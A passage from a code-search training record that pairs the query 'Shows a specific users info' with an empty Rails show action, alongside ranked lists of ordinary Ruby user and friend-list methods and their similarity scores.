"def gene_list\n answer = []\n self.homology_members.each { |hm| answer.push(hm.member)}\n return answer\n end",
"def names_list\n backend.queue_names\n end",
"def friends_bets\n # this is a resource intensive method; it should be changed to something\n # quicker as soon as possible.\n\n # actually, i need to set the friends system in place first.\n # whoops.\n end",
"def followers\n blood_oath.map{|blood_oath| blood_oath.follower}\n end",
"def pending_or_accepted_friends\n \t friends + pending_friends\n \t end",
"def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end",
"def friends\n # @@neo = Neography::Rest.new\n friends = self.trackers & self.tracking\n end",
"def pending_friends\n User.where('users.id in (?)', UserFriendRelationship.pending.where(user_to_id: id).pluck(:user_id))\n end",
"def get_friends_list\n friends = self.friendships\n friends = friends.map do |friendship|\n User.find(friendship.friend_id)\n end\n end",
"def index\n @families = current_church.families\n flash[:alert] = t('.not_found') if @families.blank?\n end",
"def eligible_greetingcards\n greetingcards\n end",
"def registered_fishermen\n @current_resource.body.resources[:\"registered-fishermen\"].map(&:symbolize_keys)\n end",
"def all_friends_inc_pending\n all_friends | pending \n end",
"def pending_tags\n @pending_tags || []\n end",
"def free_list\n\t heroes = Scraper.get_free_hero_list\n\t\tlist = \"The current free heroes are:\\n#{heroes.join(\"\\n\")}\"\n\tend",
"def get_allergy_names\n allergies.map {|a| a.name}\n end",
"def friend_requests\n inverse_friendships.map{|friendship| friendship.user if !friendship.confirmed}.compact\n end",
"def sent_friend_requests\n friendships = Friendship.where(:user_id => self.id, :confirmed => false)\n users = []\n friendships.each do |friendship|\n users.push User.find friendship.friend_id\n end\n\n users\n end",
"def sent_friend_requests\n self.followed_users.where(\"friend_status = 'PENDING'\")\n end",
"def fishing_ground_businesses\n @current_resource.body.resources[:\"fishing-ground-businesses\"].map(&:symbolize_keys)\n end",
"def friends\n friendships = Friendship.where('(user_id = ? OR friend_id = ?) AND confirmed = ?', self.id, self.id, true)\n users = []\n friendships.each do |friendship|\n if friendship.user_id == self.id\n users.push User.find friendship.friend_id\n else\n users.push User.find friendship.user_id\n end\n end\n\n users\n end",
"def listpeers\n id = @utils.id_generate\n send_packet @utils.packet_mangler({\"Identifier\" => id, \"WithMetaData\" => true, \"WithVolatile\" => false},\"ListPeers\")\n wait_for id, /EndListPeers/\n end"
] |
[
"0.6987667",
"0.6929717",
"0.6485551",
"0.6442865",
"0.64385295",
"0.63020223",
"0.63020223",
"0.6285194",
"0.6263535",
"0.6122741",
"0.6097932",
"0.60399747",
"0.59919256",
"0.596978",
"0.59261245",
"0.5921667",
"0.5913941",
"0.588815",
"0.588815",
"0.588815",
"0.5878203",
"0.5878203",
"0.58444583",
"0.58223724",
"0.5787738",
"0.57776594",
"0.5746065",
"0.5735905",
"0.5726367",
"0.5726032",
"0.5679576",
"0.5673996",
"0.5669131",
"0.56648237",
"0.5647012",
"0.5641364",
"0.5612131",
"0.55589604",
"0.5557443",
"0.5543574",
"0.55247855",
"0.55193806",
"0.55028623",
"0.549416",
"0.54738206",
"0.5462573",
"0.5453964",
"0.5448322",
"0.5442648",
"0.5440974",
"0.5440437",
"0.5408805",
"0.54047495",
"0.5390929",
"0.53813744",
"0.5354053",
"0.5344073",
"0.5338342",
"0.5327107",
"0.5301839",
"0.53010315",
"0.52961135",
"0.5293467",
"0.52926016",
"0.5290425",
"0.52641124",
"0.5255849",
"0.5255829",
"0.52528733",
"0.52518636",
"0.52491444",
"0.5242264",
"0.52405083",
"0.5232637",
"0.5220802",
"0.5220036",
"0.52178246",
"0.52178246",
"0.5214843",
"0.52084655",
"0.5195741",
"0.5188608",
"0.51804477",
"0.51754814",
"0.51631665",
"0.5162975",
"0.51608247",
"0.51600987",
"0.51568544",
"0.51493883",
"0.5146936",
"0.51434225",
"0.51424205",
"0.51411253",
"0.51304716",
"0.511472",
"0.5110886",
"0.51090443",
"0.510713",
"0.51022214"
] |
0.5155817
|
89
|
Shows a specific users info
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n\t\t# Find all users with id passed by params.\n\t\t@user = User.find(params[:id])\n\t\tCUSTOM_LOGGER.info(\"Start to find users #{@user.to_yaml}\")\n\tend",
"def info\n\t@user = User.find(params[:id])\n end",
"def show\n @user = User.find_by(username: params[:id])\n render :show\n end",
"def show\n user = visible_users.find_by(id: params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', locals: { code: '404', message:\n 'No user exists with that id' }, status: :not_found\n else\n respond_to do |format|\n format.xml { render xml: user.to_xml(only: DEFAULT_FIELDS, root: :user, skip_types: true) }\n format.json { render json: user.to_json(only: DEFAULT_FIELDS) }\n end\n end\n end",
"def show\n @users = User.find(params[:id])\n end",
"def show\n @users = User.find(params[:id])\n end",
"def show\n @users = User.find(params[:id])\n end",
"def show\n render json: get_full_user_details(user), status: :ok\n rescue => e\n log_and_render_users_controller_error(e, \"get user details failed\")\n end",
"def show\n @users = User.find (params[:id])\n end",
"def show\n @user = Helpers.show_each_user(params[:id])\n check_user_nil('Success', 'User does not exist', @user)\n end",
"def show\n\t\tthe_user_id = params[\"id\"]\n \t@user = User.find_by :id => the_user_id\n\tend",
"def show\n @user = User.find(params[:id])\n @users = User.all\n end",
"def show \n\t\t@user = User.find(params[:id])\n\t\trender :index\n\tend",
"def show\n @users = User.all\n @user = current_user\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def show\n if current_user && current_user.admin? \n @user = User.find(params[:id])\n respond_with user_path(@user)\n else\n flash[:notice] = 'You do not have Admin see users information'\n redirect_to :back\n end\n end",
"def show\n\t\t@user = User.find(params[:id]) rescue nil\n\t\tif @user\n\t\t\tapi_response(@user, 'User Details', :ok)\n\t\telse\n\t\t\tapi_response(nil, 'User id not present in the database', :bad_request)\n\t\tend\n\tend",
"def show_user\n \tuser = User.where({:id => self.user_id}).first\n \tuser.name\n end",
"def show\n\n @user = User.get(params[:id])\n \n if signed_in? && @user.id == current_user.id\n @menu = \"home\"\n @board = \"user\"\n @section = \"show\"\n \n render 'user'\n else\n redirect_to '/'\n end\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"def show\n if params[:id]\n @user = User.find(params[:id])\n else\n @user = current_user\n end\n \n if @user == current_user\n render :show_full\n else\n render :show\n end\n end",
"def show\n\t\tif current_user.is_admin\n\t\t\t@user = User.find(params[:id])\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # show.html.erb\n\t\t\t\tformat.xml { render :xml => @user }\n\t\t\tend\n\t\telse\n\t\t\t\n\t\t\tif(current_user.id.to_i != params[:id].to_i)\n\t\t\t\tflash.now[:notice] = \"I privilegi da te posseduti non sono sufficienti a visualizzare altri utenti\"\n\t\t\tend\n\t\t\t@user = current_user\n\t\t\t\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html\n\t\t\t\tformat.xml { render :xml => @user }\n\t\t\tend\n\t\tend\n\n\tend",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"def show_user(id)\n BrickFTP::API::User.find(id)\n end",
"def show_user(id)\n BrickFTP::API::User.find(id)\n end",
"def show\n\t\t# Get user id from the params\n\t\tuser_id = params[:user_id]\n\t\t# Get information from couch and neo4j\n\t\tcouch_info = {:dummy => \"hello\"}\n\t\tgraph_info = {:basic_stats => \"sadasd\"} \n\n\t\t# Return structure\n\t\trender json: user_show_json(couch_info, graph_info)\n\tend",
"def show\n\n\t\t@current_profile = Profile.get_profile params[:id], \"asdf\"\n\n\t\tpretty_render \"api/public_user\"\t\n\n\tend",
"def show\n\n @user = User.get(params[:id])\n \n if admin_signed_in?\n @menu = \"home\"\n @board = \"user\"\n @section = \"show\"\n \n render 'admin/users/user'\n else\n redirect_to '/'\n end\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n \t# get particular user here\n \t@user = User.find_by_id(params[:id])\n \t# if not @user\n \t# \tredirect_to \"/users\"\n \t# end\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show\n @user = User.find(params[:id])\n render :show\n end",
"def show\n @user = User.find(params[:id])\n if $current_user.nil? or $current_user.id != @user.id\n redirect_to signin_path\n else\n @title = \"#{@user.userName}'s profile\"\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end\n end",
"def show\n respond_to do |format|\n if (current_user.is_admin?)\n @user = current_org.users.find(params[:id])\n format.html\n else\n if (current_user.id != params[:id].to_i)\n format.html { redirect_to user_path(current_user.id) }\n else\n @user = current_user\n format.html\n end\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render\n end",
"def show\n json_response(@user)\n end",
"def show \n\t\t@user = User.find_by_id(params[:id])\n\tend",
"def show\n if !params[:id]\n @user = current_user\n else\n @user = User.find_by_username(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show\n\t\t@user = User.find(params[:id])\n\tend",
"def show \n\t\tuser = User.find_by(id: params[:id])\n\t\tif !user.blank?\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"Found User\",\n\t\t response: {\n\t\t name: user.name,\n\t\t email: user.email,\n\t\t id: user.id,\n\t\t facebook_id: user.facebook_id\n\t\t }\n\t\t }.to_json\n\t\telse \n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: \"Can't Find User\"\n\t\t }.to_json\n\t\tend \n\tend",
"def show\n\t\t@user = User.find(params[:id]) #find user with that id and save as instance of user\n\t\trender :show\n\tend",
"def show\n @user = User.where(:username => params[:id]).first\n end",
"def show\n\t begin\n @user = current_user.company.users.find(params[:id])\n\t rescue Exception => e\n\t\t redirect_to root_path, alert: \"This user does not exist.\"\n\t\t\treturn\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n user = User.find(current_user.username)\n redirect_to user_path(user)\n end",
"def show\n user = User.find_by_id(params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', locals: {code: '404', message:\n 'No user exists with that id'}, status: 404\n else\n respond_to do |format|\n format.xml { render xml: user.to_xml(only: DEFAULT_FIELDS, root: 'user', skip_types: 'true') }\n format.json { render json: user.to_json(only: DEFAULT_FIELDS) }\n end\n end\n end",
"def show\n\t\t@user = User.find(params(:id))\n\tend",
"def show\n drop_breadcrumb(\"用户管理\",users_path)\n drop_page_title(\"用户详情\")\n drop_breadcrumb\n end",
"def show\n set_user\n end",
"def show\n if current_user.is_normal?\n @user = User.find( params[:id] )\n render :profile\n else\n redirect_to user_profile_path\n end\n end",
"def show\n @user = User.find(params[:id])\n @titre = \"Utilisateur\"\n end",
"def show\n @users = User.all\n end",
"def show\n @users = User.all\n end",
"def show\n @users = User.all\n end",
"def show\n @users = User.all\n end",
"def show\n\t\t@the_user = User.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @the_user }\n\t\tend\n\tend",
"def show\n @user = User.find(params[:user_id])\n end",
"def show\n @user = User.find(current_user.id)\n end",
"def show\n @user = User.find(params[:user_id])\n \n end",
"def show\n \t@user = User.find(params[:id])\n end",
"def show\n \t@user = User.find(params[:id])\n end",
"def show\n @user = UserService.getUserById(params[:id])\n end",
"def show\n unless @user\n render 'not_found_page'\n end\n end",
"def show\n @user = User.find( params[:id] )\n end",
"def show\n \t@user = User.find params[:id]\n end",
"def show\n @user = Users.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n # show me the user page\nend",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.heml.erb\n format.json { render :json => @users }\n end\n end",
"def show\n @user = User.find_by(:id => params[:id])\n end",
"def show\n # сделать текущего пользователя адмиристратором\n #current_user.update_attribute :admin, true\n @user = User.find(params[:id])\n @title = @user.username\n #@user_internals = @user.user_internals.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n if params[:id].to_i.to_s == params[:id]\n @user = User.find(params[:id])\n else\n @user = User.find_by(username: params[:id])\n end\n end",
"def show\n\t\t@user = User.find(params[:id])\n\t\tif @user\n\t\t\t@page_title = \"User: #{@user.title}\"\n\t\tend\n\trescue ActiveRecord::RecordNotFound\n\t\tflash[:notice] =\n\t\t\t\"Could not find a user matching the requested id (‘#{params[:id]}’).\"\n\t\tredirect_to :action=>'index'\n\tend",
"def show\n id = params[:id]\n if current_user.id == params[:id].to_i \n @user = current_user\n else\n @user = current_user.find(id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(params[:id]) # Find user's page to render\n end",
"def show \n user = User.find_by(id: params[:id])\n if !user.blank?\n render status: 200, json: {\n message:\"Found User\",\n response: {\n name: user.name,\n email: user.email,\n id: user.id\n }\n }.to_json\n else \n render status: 404, json: {\n errors: \"Can't Find User\"\n }.to_json\n end \n end",
"def show\n @user = find_user\n end",
"def show\n @user = User.find(params[:id]) \n end",
"def show\n @user = get_user\n end",
"def show\n StatsManager::StatsD.time(Settings::StatsConstants.api['user']['show']) do\n if params[:id]\n unless @user = User.find(params[:id]) or @user = User.find_by_nickname(params[:id])\n return render_error(404, \"could not find that user\")\n end\n else\n return render_error(401, \"current user not authenticated\")\n end\n\n @user_personal_roll_subdomain = (@user.public_roll and @user.public_roll.subdomain)\n @status = 200\n end\n end",
"def show\n if current_user_or_can?(:manage_users)\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end\n end",
"def show\n\t\t@user = User.find(params[:id])\n\t\t@users = User.all\n\t\t@skill = Skill.where(user_id: current_user.id)\n\t\t@slot = Slot.where(user_id: current_user.id)\n\tend",
"def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"def show\n user_id = params.require(:id).to_i\n\n if user_id != current_user.id\n bad_request\n else\n @user = User.find(user_id)\n if @user\n success(body: @user)\n else\n not_found\n end\n end\n end",
"def show\n \n @user = User.find(session[:id])\n end",
"def info()\n _params = {}\n return @master.call 'users/info', _params\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n @userinfo = Userinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @userinfo }\n end\n end",
"def show \n @user = User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"def show\n user = User.find(params[:id].to_i)\n if user\n render json: {name: user.name.split(\" \").first, fb_id: user.fb_id, id: user.id}\n else\n render json: {name: \"Invalid\", fb_id: nil, id: nil}\n end\n end",
"def show\n @user = User.find(params[:id]) \n @user_me = retrieve_authenticated_user\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n begin\n @user = User.find(params[:id])\n rescue\n render 'shared/not_found'\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def show\n if current_user\n @user = User.find(params[:id])\n @user = current_user\n render :show\n else\n flash[:error] = \"Must be signed in to see your profile!!\"\n redirect_to \"/\"\n end\n end",
"def show\n @user = User.find(params[:id])\n end"
] |
[
"0.78503466",
"0.77752644",
"0.7599091",
"0.7594006",
"0.7588339",
"0.7588339",
"0.7588339",
"0.75874245",
"0.75652593",
"0.7551915",
"0.75068307",
"0.74937606",
"0.7493045",
"0.74892145",
"0.74370694",
"0.7416838",
"0.74085784",
"0.73859227",
"0.73837376",
"0.7375159",
"0.73344684",
"0.73283404",
"0.7326376",
"0.7322476",
"0.7322476",
"0.73218167",
"0.731191",
"0.7305755",
"0.7302454",
"0.7300043",
"0.72891104",
"0.7285047",
"0.72847277",
"0.72847277",
"0.7277571",
"0.7255754",
"0.7255726",
"0.72538894",
"0.7252004",
"0.7247117",
"0.7243549",
"0.7243549",
"0.7243549",
"0.7243549",
"0.7243549",
"0.7241172",
"0.7237351",
"0.7227305",
"0.72149754",
"0.7213698",
"0.72042483",
"0.71992767",
"0.7182653",
"0.7179894",
"0.7175414",
"0.7175173",
"0.7174981",
"0.7174981",
"0.7174981",
"0.7174981",
"0.71728545",
"0.7172079",
"0.71648",
"0.7160741",
"0.71606976",
"0.71606976",
"0.7154579",
"0.7146694",
"0.7141384",
"0.71273184",
"0.71262604",
"0.71254635",
"0.7123631",
"0.71188253",
"0.71152955",
"0.71094954",
"0.7108753",
"0.7106528",
"0.71001804",
"0.7094761",
"0.70931745",
"0.7088285",
"0.70818514",
"0.70815396",
"0.70762277",
"0.70715684",
"0.70690745",
"0.70649",
"0.7053148",
"0.7051256",
"0.7047484",
"0.70450115",
"0.70447403",
"0.70437586",
"0.70427895",
"0.7034062",
"0.7031388",
"0.7030149",
"0.7027161",
"0.7024069",
"0.702144"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.